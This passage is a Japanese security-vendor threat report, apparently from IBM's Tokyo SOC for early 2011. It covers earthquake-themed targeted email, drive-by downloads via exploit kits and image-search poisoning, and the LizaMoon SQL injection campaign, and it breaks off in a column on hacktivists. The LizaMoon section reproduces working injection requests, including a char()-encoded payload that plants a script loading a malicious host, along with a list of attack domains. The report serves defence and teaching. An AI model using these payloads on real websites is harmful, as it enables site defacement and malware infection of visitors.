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エグゼクティブ・サマリー 

本レポートは、IBM が全世界で提供しているセキュリティー運用監視サービス「Managed Security 
Services」（MSS）の中で、世界 9 ヶ所（東京、ブリスベン、北米 4 拠点、ブリュッセル、オルトラン
ディア、バンガロール）の監視センター（セキュリティー・オペレーション・センター：SOC）にて
観測したセキュリティー・イベント情報に基づき、主として日本国内の企業環境に影響を与える脅威
の動向を、東京 SOC が独自に分析し、まとめたものです。 

 
2011 年上半期の注目すべき脅威として「標的型メール攻撃」が挙げられます。特に東日本大震災発

生後には、震災や原発事故に関連する情報を偽装したメールが複数の企業・組織を対象に送信され、
その一部にはゼロデイ攻撃を行ってウイルス感染を試みる不正なファイルが添付されていました。こ
の攻撃は何年も前から観測されているものですが、今期は特に検知数が増えており、また内容も洗練
されてきております。攻撃手法のトレンドが、ランダムかつ大規模で成功率の低い攻撃から、この種
の限定的で比較的高度な攻撃にシフトしてきている傾向が伺えます。 

「ドライブ・バイ・ダウンロード攻撃」も継続しています。今期は検索エンジンのイメージ検索機
能を悪用する攻撃が観測されました。また、特徴的な出来事として、攻撃を管理する環境をクラウド
型のアンダーグラウンド・サービスとして有償提供する業者が確認され始めたことが挙げられます。
このようにエコ・システムが発展している背景には、依然として攻撃の効果が高く、攻撃者側に金銭
的メリットをもたらし続けていることが伺えます。 

上記の 2 種類の脅威はいずれもクライアント PC を対象とした脅威ですが、最終的な影響範囲はク
ライアント PC にとどまりません。一般に「Advanced Persistent Threat（APT）」と呼ばれる攻撃で
は、クライアント PC に感染させたウイルスを悪用して組織内部のサーバーに保存されている機密情報
を盗み出す事例が報告されています。 

 
サーバーを対象とした脅威の代表である「SQL インジェクション攻撃」にも変化が見られました。

2011 年 4 月頃に確認した LizaMoon と呼ばれる一連の攻撃は、単純なデータベース改ざん攻撃のよ
うでしたが、実は 1 年以上前から継続している周到な攻撃であることが分かっています。 

また、「クラウド・サービスの悪用」も観測されました。これは、Amazon EC2 等のクラウド・サー
ビスで提供されている仮想マシンが攻撃者に乗っ取られ悪用されているものと推測されます。特にクラ
ウド環境固有の問題ではありませんが、この事実は、クラウド・サービスを利用してシステムを構築す
る際にも、実環境で推奨されるものと同様のセキュリティー対策が不可欠であることを示しています。 

 
本レポートでは上記のトピックに関する解説に、2 つのコラム「ハッカー集団によるシステム侵害」

「スマートフォンを狙うマルウェア」を交えて、2011 年上半期の脅威動向を紹介いたします。 
これらの情報を、セキュリティー・ポリシーの策定や、情報セキュリティー対策を設計する際の参

考として、また、情報セキュリティーに関する知識向上の一助として、ご活用いただければ幸いです。 
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1 標的型メール攻撃 

標的型メール攻撃は、特定の企業や組織に狙いを絞って、マルウェアを添付したり、不正なリンク
を記載したメールを送信する攻撃です。この攻撃は、ターゲット範囲が絞られているため攻撃の実態
が表面化しづらく、被害に気付きにくいために影響が長期化してしまうという問題があります。 

本章では、今期東京 SOC で確認した標的型メール攻撃の特徴について解説します。 
 
 

11..11  東東日日本本大大震震災災にに便便乗乗ししたた不不

正正ななメメーールル  

2011 年 3 月 11 日以降、東京 SOC では東日本大震
災に関連する情報に見せかけた不正なメールを多数確
認しました。これらの震災に便乗した攻撃の影響で、
今期東京 SOC で確認した標的型メールの種類は前期
に比べて約 2.5 倍に増加しています。 

震災関連の標的型メールは、そのすべてが、SPAM
メールのように多数の宛先に送信するのではなく、宛
先を特定の組織に限定して送信されていました。 

標的型メールにはファイルが添付されており、EXE
（Windows 実行ファイル）や ZIP（実行ファイルが
圧縮されている）などの形式でウイルスが直接添付さ
れている事例と、細工された Word や Excel、PDF な
どのドキュメント・ファイルが添付されている事例が
確認されています。 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 1 震災情報に便乗した不正な標的型メール 
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東京 SOC で注目したのはドキュメント・ファイル
が添付された事例です。これらのファイルには、ドキ
ュメント・ビューアーの脆弱性を悪用してウイルスに
感染させる攻撃コードが含まれています。 

図 1 は、不正な添付ドキュメント・ファイルの例で
す。東京 SOC で最初にこのようなメールを確認した
のは、震災から約1週間が経過した3月17日でした。
表 1 が示すように、ほとんどのメールは原発事故の情
報を装ったものです。特に悪質な例として、震災に便
乗した詐欺についての注意喚起を装ったメール（4 月

20 日:東北地方太平洋沖地震に便乗した詐欺にご注意
ください.doc）も確認しています。 

また、4 月 19 日に確認した「（震災関連）  放射
能漏れ、予防と対策基礎知識.doc」という添付ファイ
ルは、2011 年 4 月に確認された Adobe Flash Player
のゼロデイ脆弱性（CVE-2011-0611）を悪用するも
のでした。 

このような震災関連の情報に見せかけた日本語の標
的型メールは、海外の SOC では確認されませんでし
た。この事実は、攻撃者が日本人に限定してこのよう
な標的型メール攻撃を行っていたことを示しています。 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 

表 1 震災情報に便乗した不正な標的型メールに添付されていたドキュメント・ファイル 
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11..22  そそのの他他のの標標的的型型メメーールル攻攻撃撃  

東京 SOC では、震災に便乗したメール以外にも様々
な標的型メール攻撃を確認しています。表 2 は、今期
東京 SOC にて確認された震災関連以外の標的型メー
ル攻撃で添付されていた不正なファイル名の一例です。
これらのファイルにも前節の例と同様にドキュメン
ト・ビューアーの脆弱性を悪用する攻撃コードが含ま
れており、脆弱性のあるドキュメント・ビューアーで
閲覧するとウイルスに感染する可能性があります。 

添付ファイル名には、「日程表.xls」や「会員.xls」
など受信者の業務に関連があるような資料に見せかけ
たり、「身上調書提出依頼.pdf」など返信を促したりす
るような文面が利用されていました。 

また、「中国軍尖閣、第１列島線で攻勢.doc」など
の時事問題に関連したファイル名を用いることでメー
ル受信者の関心を引こうとするようなメールも多数確
認されています。 

さらに、性質上、表には挙げられませんが、企業の
取引情報や組織内部の人物しか知りえないような情報
に関連したファイル名を用いている事例もあります。

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

表 2 標的型メールに添付されていたドキュメント・ファイル 
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11..33  標標的的型型メメーールル攻攻撃撃のの傾傾向向  

本節では、1.1、1.2 で紹介した標的型メールの特徴
について解説します。 

 
 攻撃者がターゲットとするユーザーの特徴 

攻撃者は、標的型メール攻撃のターゲットをどのよ
うに抽出しているのでしょうか。今期東京 SOC で確
認した標的型メール攻撃のターゲットは、官公庁と社
会インフラ企業が中心でした（一部の一般企業も含ま
れています）。さらに、このような攻撃メールを受信し
た企業では、組織内の他のユーザーに対して、別の標
的型メールが送信される事例を多数確認しています。
すなわち、一度ターゲットにされた組織は、繰り返し
狙われ続けているといえます。 

攻撃者はターゲットとなるユーザーのメールアドレ
スを、ウイルス感染した端末などから盗み出している
と推測されます。そのため、情報を盗まれてしまった
個人だけではなく、その個人の所属する組織や関連し
ている組織がまとめて攻撃のターゲットとなる傾向に
あると考えられます。一部では、盗まれたメールと同

じ件名・本文を使用して、不正なファイルを添付した
メールを送信してくる事例も確認されています。 

 
 標的型メール送信元アドレス 

前期までに確認されていた標的型メール攻撃では、
送信元メールアドレスを官公庁などのアドレスに偽装
し、中国などの IP アドレスから送信している事例が多
数ありました。 

図 2 は、東京 SOC が今期確認した標的型メール攻
撃の送信元メールアドレスの集計結果です。最も多か
ったのは、フリーのメールサービスを利用して、送信
元メールアドレスを偽装することなくそのまま送信す
る事例でした。 

次に多かったのは国内 ISP が提供しているメールサ
ービスのアドレスでした。これは、攻撃者がウイルス
などを利用して盗んだメールアカウントを悪用してい
るものと考えられます。 

その他に、ターゲットとなった企業のメールアドレ
スや、国内企業のメールアドレスを利用している事例
を確認しました。これらは、攻撃者が受信者を信用さ
せるために偽装しているものと考えられます。

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 2 標的型メールの送信元メールアドレス 
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 標的型メール送信元国 

図 3 は、標的型メール攻撃の送信元 IP アドレスが
割り当てられている国の割合を示しています。今期は、
国内のフリー・メールサービスからの送信が最も多か
った影響で、日本国内からの送信が多くを占めています。
その他には、米国や中国からの送信を確認しています。 

今期東京 SOC にて確認した標的型メール送信元国
は、この 3 カ国だけでした。 

 
 標的型メールに利用されている文字コード 

通常、日本語環境のクライアント PC で日本語のメ
ールを送信する場合、文字コードには UTF-8 や JIS
コード（ISO2022-JP）などが利用されます。 

これまでに確認された多くの標的型メール攻撃では、
日本語環境ではあまり利用されない文字コードを使用
しているという特徴がありました。特に中国語圏で利
用される文字コード GB2312 などがよく使用されて
いました。 

しかし、今期最も多く使用されていたのは UTF-8
でした（図 4）。また、次に多く使用されているものも
通常の日本語環境でよく使用されるISO2022-JPでし
た。これらは、フリーのメールサービスが利用されて

いる際に多く見られた傾向で、攻撃者が Web メール
から標的型メールを送信するか、または日本語環境のシ
ステムを踏み台にしてこのような攻撃を行っていた可能
性を示しています。 

 

11..44  ままととめめ  

標的型メール攻撃は、1 つの組織を継続して狙うと
いう傾向があります。本章で解説したようなメールを
組織内で 1 通でも受信したことがある場合は、気付か
ないところで組織内の別の人も似たようなメールを受
信しているはずです。 

もし、標的型メール攻撃を 1 度でも受けたことがあ
るなら、不審なメールを受信したユーザーが他に存在
しないか調査することをお勧めします。また、次の標
的型メール攻撃に備え、組織内で不審なメールの取り
扱い方針を徹底することをお勧めします。受信者が添
付ファイルを開かないだけでなく、不審メールを直ちに
組織内で共有し、他のユーザーが開いてしまわないよう
働きかける仕組みを設けることも検討してみてください。

 
 
 
 
 
 
 
 
 

図 3 標的型メールの送信元国別割合 
 
 
 
 
 
 
 
 
 

図 4 標的型メールに利用されていた文字コード
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2 ドライブ・バイ・ダウンロード攻撃 

ドライブ・バイ・ダウンロード攻撃は、クライアント PC にウイルスを感染させるための常套手段と
なっています。東京 SOC では前期までに引き続き、今期も多数のドライブ・バイ・ダウンロード攻撃
を確認しています。ドライブ・バイ・ダウンロード攻撃の手法に大きな変化は見られませんが、攻撃
による被害は一向に減る気配がありません。 

本章では、今期東京 SOC で確認したドライブ・バイ・ダウンロード攻撃の特徴について解説します。 
 
 

22..11  ドドラライイブブ・・ババイイ・・ダダウウンンロローードド

攻攻撃撃のの推推移移  

ドライブ・バイ・ダウンロード攻撃とは、Web サイ
トを閲覧した PC に無許可にマルウェアをインストー
ルする攻撃手法です。攻撃者は改ざんした Web サイ
トにアクセスしてきたユーザーを不正な Web サイト
へ自動的にリダイレクトすることで攻撃を行い、クラ
イアント PC にウイルスを感染させます。 

今期の東京 SOC におけるドライブ・バイ・ダウン
ロード攻撃検知数は 2010 年から横ばいで、減少する
傾向はみられませんでした（図 5）。 

ドライブ・バイ・ダウンロード攻撃で感染するウイ
ルスとして、最も多く確認したのは偽アンチウイルス
ソフトを代表とするスケアウェア1でした。これまで、

スケアウェアは Windows OS に感染するものが主流
でしたが、5 月頃から Mac OS を対象にするものも確
認されるようになっています。それ以外にも、SpyEye
と呼ばれるオンライン・バンキングの情報を盗み出すこ
とを目的としたウイルスの大量感染を確認しました2。 

また、新しい攻撃手法としてイメージ検索を悪用し
て不正なサイトへ誘導しようとする攻撃が発生し、大
規模な被害を与えました。 

次節では、今期確認したドライブ・バイ・ダウンロ
ード攻撃の特徴について解説します。
                                                   
1 スケアウェアとは、クライアント PC がウイルスに感染している

などの嘘の警告を表示し、ユーザーを脅して有料のソフトウェア

やサービスを購入させようとするマルウェア 

2 Tokyo SOC Report: SpyEye ウイルスの検知件数増加を確認 

https://www.ibm.com/blogs/tokyo-soc/entry/spyeye_20110425 

 
 
 
 
 
 
 
 
 
 
 
 

図 5 ドライブ・バイ・ダウンロード攻撃検知件数（東京 SOC 調べ：2010 年 7 月 1 日～2011 年 6 月 30 日） 
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22..22  イイメメーージジ検検索索をを悪悪用用ししたた攻攻

撃撃  

東京 SOC では、4 月 25 日頃から、イメージ検索を
悪用したドライブ・バイ・ダウンロード攻撃の増加を
確認しました。この攻撃は、Google 画像検索で、検
索結果として表示されるイメージ画像をクリックする
と不正なWebサイトへ誘導されてしまうもので、SEO
ポイズニングと呼ばれる攻撃手法を用いていました。
SEO ポイズニングとは、検索結果の上位に不正なサイ
トへのリンクを表示させる攻撃手法で、通常の Web

サイトなどでも行う検索エンジン最適化（Search 
Engine Optimization）を悪用したものです。 

Google 検索では、SEO ポイズニングされた検索結
果の画像リンクが図 6 のように表示されます。通常と
変わらない表示ですが、この画像のリンクは図 7（SEO
ポイズニングされたリンク）のようになっています。 

イメージ検索時に表示されるサムネイル画像のリン
ク先URLは以下の2つの引数を含んでいます（図7）。 
・imgurl:サムネイル画像の URL 
・imgrefurl:画像をクリックした際のアクセス先 URL 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 6 SEO ポイズニングされた画像が表示されている検索結果 
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「imgrefurl」と「imgurl」に指定されるホスト名
は 通 常 同 じ も の （ 図 7 の 正 常 な リ ン ク の
example.com）になることが多い傾向にあります3。
しかし、今回 SEO ポイズニングされていた画像は、
異なるものになっていました（図 7 のポイズニングさ
れたリンクの attacker.com/index.html）。そのため、
アクセスしたユーザーは表示画像のホスティングされ
ている Web サイトとは異なるサーバーにアクセスさ
せられます。 

画像のリンク先 Web サイトには、アクセスしてき
たユーザーを不正なサイトにリダイレクトするスクリ
プトが攻撃者によって埋め込まれています（図 8）。リ

ダイレクトされた先の不正なサイトには、さらにユー
ザーを別の不正なサイトにリダイレクトするスクリプ
トが含まれており、最終的には、Java や Abobe 
Reader などのアプリケーションの脆弱性を悪用して、
ウイルスに感染させようとする攻撃を受けます。この
とき、クライアント PC に攻撃のターゲットとなった
アプリケーションの脆弱性が存在すると、ウイルスに
感染します。 
                                                   
3 Web サイトの画像を別のホストから読み込んでいる場合もホス

ト名は異なります 

 
 
 
 
 
 
 
 
 
 
 
 
 

図 7 SEO ポイズニングで表示された不正な画像のリンク URL の例 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 8 不正な画像をクリックしたユーザーの遷移例 

正常なリンク

SEOポイズニングされたリンク

http://images.google.com/imgres? imgurl =http://example.com/image.jpg&
imgrefurl =http://attacker.com/index.html&usg= ～以下検索時の情報などが含まれる～

http://images.google.com/imgres? imgurl =http://example.com/image.jpg&
imgrefurl =http://example.com/index.html&usg= ～以下検索時の情報などが含まれる～
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22..33  EExxppllooiitt  PPaacckk（（KKiitt））  

 今期流行した Exploit Pack 

攻撃者はドライブ・バイ・ダウンロード攻撃を行う
際、ユーザーがリダイレクトされてくる不正なサイト
に、クライアント PC を攻撃してウイルスに感染させ
るためのツールを設置しています。このようなツール
は、Exploit Pack と呼ばれ、アンダーグラウンドで多
数売買されています。 

Exploit Pack は、様々なアプリケーションを攻撃す
る機能や、ツールを管理するための GUI を備えていま
す。さらに、ツールを利用するためのマニュアルや、
インストール・スクリプトまで準備されていることも
あります。攻撃者がドライブ・バイ・ダウンロード攻
撃を行う際にこのようなツールを利用することは、
2007 年頃から確認されており、現在では一般的な方
法となっています。 

東京 SOC でも、このようなアンダーグラウンドで
売買されている Exploit Pack を利用したドライブ・バ
イ・ダウンロード攻撃を多数確認しています。 

表 3 は、今期東京 SOC にて検知した Exploit Pack
別ウイルス・ダウンロード発生件数の上位 5 件を記載
しています。（この件数は攻撃が成功し、ウイルス・ダ
ウンロードが発生した数を表しているため、クライア
ント PC が攻撃を受けた件数は、この数の数倍に上り
ます。） 

最も多く確認されたのは、Black Hole Exploit Kit
と呼ばれるツールによる攻撃です。このツールによる
攻撃は 2011 年 2 月頃から徐々に検知数が増加し、現
在でも多数検知されています。前節で解説したイメー
ジ検索を悪用した攻撃は、この Black Hole Exploit Kit
が不正な Web サイトにインストールされ、攻撃に利
用されていました。 

次に多く検知したツールは、Incognito Exploit kit
です。このツールは 2011 年 3 月頃から検知数が上昇
しています。

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

表 3 Exploit Pack 別ウイルス・ダウンロード発生件数（上位 5 件） 
（東京 SOC 調べ：2011 年 1 月 1 日～6 月 30 日） 
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表 4 はこれらのツールが悪用する脆弱性を一覧した
ものです。この中には Windows の脆弱性を悪用する
ものは 7 件、それ以外のサードパーティー・アプリケ
ーションの脆弱性を悪用するものが 21 件あり、ター
ゲットとなっている脆弱性の多くがサードパーティ
ー・アプリケーションのものであることが分かります。
さらに、Adobe Reader/Acrobat と JRE/JDK の脆弱
性を合わせると 14 件になり、この 2 つのアプリケー
ションだけでターゲットの半数を占めています。 

なお、表 4 のとおり、今期大規模な被害を及ぼした
これらのExploit Packはゼロデイ脆弱性を悪用しませ
んでした（すべて 2010 年以前に確認された脆弱性）。 

多数の環境でウイルス感染の被害が発生していまし
たが、全てのアプリケーションを最新の状態にしてい
れば、この攻撃によるウイルス感染被害は起こらなか
ったはずです。 

 
 
 
 
 
 
 
 
 
 
 
 

表 4 Exploit Pack 別ターゲット脆弱性一覧 
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 EaaS: Exploit Pack as a Service 

最近では、Exploit Pack を売買するだけでなくサー
ビスとして提供している事例も多数確認されています。
これまで攻撃者は自らExploit Packを作成または他者
から購入し、そのツールを自分の手中にあるサーバー
上にインストールして攻撃を行っていました。しかし、
最近は Exploit Pack をホスティングし、それを他の攻
撃者に利用させるサービスを提供している事例が増加
しています。このサービスは、攻撃者のための SaaS
であり、一部では EaaS（Exploit pack as a Service）
などと呼ばれています。 

このサービスを利用すれば、攻撃者は自らサーバー
を準備したり、Exploit Pack をインストールしたりす
る必要がなくなります。今期、被害発生件数が 2 番目

に多かった Incognito Exploit kit もこのようなサービ
スを提供することを前提に作成されたツールです。図
9 は、実際にこのツールを利用したサービスの利用者
一覧画面です（赤で囲まれた部分がサービス利用者の
一覧）。 

また、ドライブ・バイ・ダウンロード攻撃には EaaS
提供者だけでなく、様々なサイバー犯罪者が関連して
います。図 10 のように Exploit Pack 作成者やウイル
ス作成者など、攻撃に利用するコンポーネントごとに
異なる関係者によって行われていることもあります。
さらに、ウイルス感染端末から詐取したクレジットカ
ード情報などを売買する仲介者などが一連の攻撃の裏
で関連している可能性が考えられます。

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 9 Incognito Exploit Kit の管理画面 
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22..44  ままととめめ  

イメージ検索を悪用した SEO ポイズニングのよう
に、既存の攻撃の仕組みを変化させた攻撃は確認され
ているものの、今期確認されたドライブ・バイ・ダウ
ンロード攻撃は、前期までの攻撃と比べると大きな変
化はありません。しかしながら被害は継続しています。 

前節で解説したように、ドライブ・バイ・ダウンロ
ード攻撃のターゲットにされている脆弱性は、Adobe 
Reader/Acrobat と JRE/JDK を含めたサードパーテ

ィー・アプリケーションです。これらのアプリケーシ
ョンと Windows OS が最新のバージョンになってい
れば、被害を受ける可能性はほとんどなくなります。
Windows のセキュリティー・パッチだけでなく、サ
ードパーティー・アプリケーションも含めて、自動ア
ップデートなどの仕組みを利用してアップデートを行
うようにしてください。 

今後もドライブ・バイ・ダウンロード攻撃がクライ
アント PC への攻撃の主流であり続けることは変わら
ないことが予想されるため、引き続き注意が必要です。

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 10 攻撃者と EaaS 提供者の関係 

攻撃者

ウイルス作成者

一般ユーザー

Exploit Pack作成者

EaaS提供者

金銭の流れ

ウイルス作成
キットの販売

Exploit Pack
の販売

ウイルス
感染

情報
詐取など

ウイルス
アップロード
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3 SQL インジェクション攻撃 

今期も、SQL インジェクション攻撃によってデータベースに保存している重要情報が漏えいしたり、
Web サイトが改ざんされたりするニュースが多数報道されました。東京 SOC でも情報漏えいや、Web
サイト改ざんを目的とした多数の攻撃を確認しています。 

本章では、今期東京 SOC で確認した SQL インジェクション攻撃の特徴について解説します。 
 
 

33..11  攻攻撃撃のの検検知知状状況況  

図 11 は今期東京 SOC で検知した SQL インジェク
ション攻撃の検知数の推移です。Web サイトの脆弱性
の有無を確認する攻撃を多数検知した影響で、数回の
検知数上昇を確認しています。しかし、これらの攻撃
は以前から確認されていたもので、特に新しい脅威を
示すものではありませんでした。また、期間を通して

Joomla!や PHP-Nuke などの CMS（コンテンツ・マ
ネージメント・システム）の脆弱性を悪用してデータ
ベースの情報を抜き出そうとする攻撃が確認されてい
ました。 

図 12 は、攻撃元となった国別のユニーク IP アドレ
ス数を表しています。期間を通して中国およびアメリ
カからの攻撃が多数を占めていました。この傾向は以
前から同じであり、特に変化は見られません。 

 
 
 
 
 
 
 
 
 
 

図 11 SQL インジェクション攻撃の検知件数推移（東京 SOC 調べ：2011 年 1 月 1 日～6 月 30 日） 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 12 SQL インジェクション攻撃送信元 IP アドレス国別割合（東京 SOC 調べ：左 2011 年 1 月～3 月 右 2011 年 4 月～6 月） 
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今期後半頃から、多数の企業がハッカー集団からの
攻撃を受けて情報漏洩の被害が発生しましたが、東京
SOC では特にこれらの攻撃と関連される攻撃の上昇
などは観測していません。 

また、４月頃から一部の環境にて SQL インジェクシ
ョンによる Web サイト改ざん攻撃の上昇を確認して
います。この攻撃によって、多数の Web サイトに不
正なコードが埋め込まれたことが確認されたために、
話題となりました。 

以降では、今期注目を集めたWebサイト改ざんSQL
インジェクション攻撃について解説します。 

 

33..22  WWeebb ササイイトト改改ざざんんをを目目的的ととしし

たた SSQQLL イインンジジェェククシショョンン攻攻撃撃  

2011 年 4 月頃、様々なセキュリティー・ベンダー
から SQL インジェクション攻撃による Web サイト改
ざんが広がっているという注意喚起が行われました4。
この攻撃は、データベースに Microsoft SQL Server
を利用する、ASP で構築された Web サイトを標的と
しており、Web サイトに次（右上）のような<script>
タグを挿入することを目的としています。 

 

 
このような<script>タグが埋め込まれた Web サイ

トをユーザーが閲覧した場合、不正なサイトに自動的
にリダイレクトされて、ウイルスに感染してしまう可
能性があります。 

東京 SOC では、この SQL インジェクション攻撃の
検知は 1 件もありませんでしたが、海外の一部の SOC
で攻撃を確認していました。以下では、この攻撃手法
について紹介します。 

 
 攻撃の流れ 

攻撃者は、改ざん対象の Web サイトをピックアッ
プするために、まず Web サイトの脆弱性調査を行っ
ています（図 13 Step 1）。この調査によって、Web
サイトに SQL インジェクションの脆弱性があること
が攻撃者によって確認できたサイトは、データベース
の情報を抽出する攻撃を受けます（図 13 Step 2）。最
終的にテーブル名やカラム名情報が抜き出された
Web サイトには不正な<script>タグが埋め込まれま
す（図 13 Step 3）。 
                                                   
4 この攻撃によって改ざんされた Web サイトには lizamoon.com と

いう URL が埋め込まれることから、一部ではこの攻撃のことを

「LizaMoon」攻撃と呼ばれました。 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 13 SQL インジェクション攻撃による Web サイト改ざんの流れ 

GET /index.asp?id=1'+update+ テーブル名 +set+ カラム名 =REPLACE(cast(Forename+as+varchaR(8000)),
cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char
(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+ch
ar(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(108)+char(105)+char(122)+char(97)+char(109)+c
har(111)+char(111)+char(110)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+
char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+chAr(115)+char(99)+char(114)+char(105)+char(112
)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

テーブル名 カラム名

GET /index.asp?Id=1'+or+1=@@version--

GET /index.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where
+TABLE_NAME+not+in+(SELECT+TOP+0+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))--

GET /index.asp?id=1+or+1=(select+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+
WHERE+TABLE_NAME= )--テーブル名

GET /index.asp?id=1+or+1=(select+DATA_TYPE+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_
NAME= +AND+COLUMN_NAME=  )--テーブル名 カラム名

Step 3
データベースの改ざん

定期的な改ざんの繰り
返し

Webサイトに脆弱性があると攻撃者によって判断された場合次へ

データベースのテーブル・カラム情報などが抽出できた場合次へ

Step2-1  テーブル名の取得

Step2-2  カラム名の取得

Step2-3  カラムのデータタイプの取得

データベース内に </title><script src=http://lizamoon.com/ur.php></script> が埋め込まれる

Step 1
脆弱性の有無調査

Step 2
データベース情報の

抽出
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一度改ざんのターゲットになったサイトでは定期的
に攻撃が行われ、<script>タグの URL の更新が行わ
れていきます。この攻撃が話題となった 2011 年 4 月
以降以下のような URL が利用されています。 

 
asweds.com/ur.php 
bookpolo.com/ur.php 
books-loader.info/ur.php 
bookvivi.com/ur.php 
koljjo.com/ur.php 
lizamoon.com/ur.php 
milapop.com/ur.php 
statsl.com/ur.php 
t6ryt56.info/ur.php 
tadygus.com/ur.php 
trbbby.com/ur.php 
vcvsta.com/ur.php 
 
この攻撃によって、改ざんされた Web サイトにユ

ーザーがアクセスし、不正なサイトにリダイレクトさ
れた場合、図 14 左のような偽ウイルス・スキャンペ

ージを表示されて、スケアウェア（図 14 右）のイン
ストールを促されます。 

 
 攻撃の始まり 

この攻撃が話題となったのは 2011 年 4 月頃からで
すが、海外の攻撃対象となった環境を調査したところ、
2010 年から攻撃を受けているサイトがあることが分
かっています。図 15 は、海外のあるサイトで確認し
た SQL インジェクション攻撃の推移です。このサイト
では、2010 年 9 月頃に攻撃者のターゲットとなって
以降、継続的に攻撃を受けていました。 

さらに、国内の企業環境では図 13 Step 1 の調査行
為を 2010 年 3 月頃から小規模ですが定期的に確認し
ていました（図 16）。 

この攻撃は、攻撃範囲を小規模に限定しており、実
際に攻撃を受けた環境が少ないため正確に攻撃が開始
された日時を特定することができません。しかし、
2010 年 3 月には調査行為が行われていることから、
少なくとも今回話題となった約 1 年前の 2010 年 3 月
には攻撃は行われていたと考えられます。 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

図 14 左：誘導先不正 Web サイト閲覧時に表示される偽ウイルススキャンページ 右：インストールされるスケアウェア 
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 これまでの Web サイト改ざん SQL インジェク

ション攻撃との違い 

この攻撃以外にも、これまでに Web サイト改ざん
を目的とした SQL インジェクション攻撃は行われて
いました5。しかし、今回の攻撃はこれまでの攻撃とは
異なる特徴がいくつかあります。 

 
(1) 攻撃範囲が小規模 

これまでの Web サイト改ざん SQL インジェク
ション攻撃は、Web サイトの脆弱性の有無にか
かわらずターゲット範囲を広げて行われていま
した。したがって、様々な Web サイトにて攻
撃を検知していました。しかし、今回の攻撃で
は事前に Web サイトの脆弱性調査を行った上
で、さらに攻撃範囲を小規模に絞っていました。
そのため、約１年間警戒されることもなく攻撃
が可能な状態を作り出していました。 
攻撃者は、攻撃範囲を小規模化し、注目を浴び
ないようにすることで、自らの攻撃への対策が
進むのを阻止しようとしていたと考えられます。 

 
(2) 攻撃元と不正な Web サイトの IP アドレスが同一 

これまでのWeb サイト改ざんSQL インジェクシ
ョン攻撃には、ボット6に感染したクライアント
PC が悪用されることが多かったため、大量の送
信元から行われる傾向にありました。今回の攻撃
では送信元 IP アドレスは 1 つのみ（不定期にこ
の IP アドレスは変更されています）で、さらに
その IP アドレスは、クライアント PC の誘導先と
なる不正サイトのサーバーも兼ねていました。 
ボットなどからの攻撃とは異なり、攻撃元が限
定されていたため、攻撃元 IP アドレスを把握で
きれば Firewall などでの対策が可能でした（攻
撃元 IP アドレスは度々変更されるので、これだ
けでは十分な対策ではありません）。 

                                                   
5 IBM : 大量の SQL インジェクション攻撃【SOC Report】 

http://www-935.ibm.com/services/jp/index.wss/consultantpov/

secpriv/b1332683 

6 感染したシステムを攻撃者の用意したネットワークに接続し、

攻撃者の指令を受けて処理を実行させるプログラム。複数のボッ

トによって構成されたネットワークをボットネット（botnet）と呼ぶ。 

 
 
 
 
 
 
 
 
 

 
図 15 あるサイトで確認した Web サイト改ざん SQL インジェクション攻撃の推移 

（東京 SOC 調べ：2010 年 9 月 1 日～2011 年 6 月 30 日） 
 

 
 
 
 
 
 
 
 
 

 
図 16 Web サイトの SQL インジェクション脆弱性有無の調査行為検知件数の推移 

(東京 SOC 調べ：2010 年 1 月 1 日～2011 年 6 月 30 日) 
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33..33  ままととめめ  

 今期も SQL インジェクション攻撃によって、前節
で解説したような Web サイト改ざんや、データベー
スの情報漏洩の被害が多数発生しました。様々な種類
の SQL インジェクション攻撃が行われていますが、い
ずれも特別な対策が必要な攻撃ではありません。Web
アプリケーションにて SQL インジェクション対策が
適切に行われていれば被害に遭うことはありません。 

SQL インジェクション攻撃への対策ができている
か今一度確認をしてください7。また、Web アプリケ
ーションの変更や新機能の追加などを行うことで新た

な脆弱性が作り出されている可能性があります。新た
な機能をリリースする場合は、事前に Web アプリケ
ーション診断を行い脆弱性がないかを確認してくださ
い。 

なお、東京 SOC では、データベースを利用する CMS
の脆弱性を悪用する SQL インジェクション攻撃が多
数行われていることも確認しています。CMS を利用し
ている場合は、ソフトウェアのバージョン管理を忘れ
ないように心がけてください。 
                                                   
7 情報処理推進機構：「安全な SQL の呼び出し方」 

http://www.ipa.go.jp/security/vuln/press/201003_websecurity_s

ql.html 
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[Column1] ハッカー集団によるシステムの侵害 

2011 年上半期は、Anonymous や LulzSec といったハッカー集団8によって政府や大企業のシステム

が侵害され、大きな話題となりました。2011 年 6 月 19 日、Anonymous や LulzSec は「Operation 

Anti-Security（AntiSec）」と呼ぶ、著名な組織を対象とした情報の窃取などを目的とする攻撃を表明し

ました。彼らのようなハッカー集団は、経済、政治、宗教などに基づいた主張を行うためにさまざまなシ

ステムに侵入を行っており、このような行為はハクティビズム(Hacktivism)とも言われています。 

このような行為は最近始まったことではなく、昔から様々な

ハッカー集団が同じような行為を行っています。1994 年 11

